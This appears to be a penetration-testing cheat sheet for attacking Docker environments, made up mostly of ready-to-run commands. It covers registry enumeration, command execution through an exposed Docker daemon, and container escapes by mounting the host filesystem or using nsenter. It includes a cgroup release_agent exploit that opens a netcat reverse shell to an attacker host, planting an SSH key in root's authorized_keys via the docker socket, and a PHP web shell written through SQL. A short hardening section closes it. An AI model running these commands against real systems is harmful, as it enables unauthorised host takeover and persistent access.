Docker Vulnerabilities

• Container enumeration

Abusing Registry

• Registry Doc
• Registry is a json API endpoint
• Private registry added in /etc/docker/daemon.json
• Can be found by nmap as a service

Enumeration

• General query

curl http://test.com:5000/v2/_catalog`

• List tags

curl http://test.com:5000/v2/<REPO>/<APP>/tags/list

• history section of the json object contains commands executed at build phase. May contain sensitive data like passwords.

curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>

Reversing Docker Images

• Dive

dive <IMAGE-ID>

Uploading Images to Registry

• Ever image has a latest tag
• Upload modified docker image as latest
• Article

RCE via Exposed Docker Daemon

• Users inside the docker group may open tcp socket through docker
• nmap -sV -p- <IP> -vv to find exposed tcp sockets via docker
• Confirming via curl http://test.com:2375/version on open docker port

• Execute commands on socket sh docker -H tcp://test.com:2375 ps docker -H tcp://test.com:2375 exec <container> <cmd> docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh

• root please

Escape Container via Exposed Docker Daemon

• Looking for exposed docker sockets

find / -name "*sock"
groups

• Mount the host volume and chroot to it, need alpine image.

docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

or

docker run -v /:/host --rm -it <imageID> chroot /host/ bash

Shared Namespaces

• Namespaces
• Cgroups

• OverlayFS

• Requires root inside the container

• Execute command

nsenter --target 1 --mount sh

Misconfiguration

• Privileged container connect to the host directly, not through the docker engine
• Execution of bins on the host from libs inside the container is possible

capsh --print

• man capabilities

• PoC

• Exploit and get a reverse shell to the host via

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

• The file may appear outside the container on the host system

Check fdisk

• fdisk -l and lsblk, host bulk device may be exposed
• Mount the device

mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev

• Check /dev as well !!! and mount device

Creating a Container from inside another container

• Needs root inside a container
• Upload static curl
• Check available images and containers

curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json

• Inside the container as root

curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'

• Return value is the ID
• Start a container

curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start

• Login in to the host via ssh remotely or socat locally

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

Escape through DB

• Login into DB
• Create table
• Inject PHP code
• Select table content intoa file the user can read
• Execute the file

create table h4x0r (pwn varchar(1024));
insert into h4x0r (pwn) values ('<?php $cmd=$_GET[“cmd”];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';

• curl the webshell hon the exploited host

curl <host-IP>/shell.php?cmd=id

Dirty c0w

https://github.com/dirtycow/dirtycow.github.io

runC

CVE-2019-5736

Securing a Container

• Least Privileges
• Seccomp
• Securing Registry via TLS

Checking if you are inside a container

• Low process count

ps aux

• .dockerenv in /

cd / && ls -lah

• cgroups contain docker names

pwd /proc/1
cat cgroups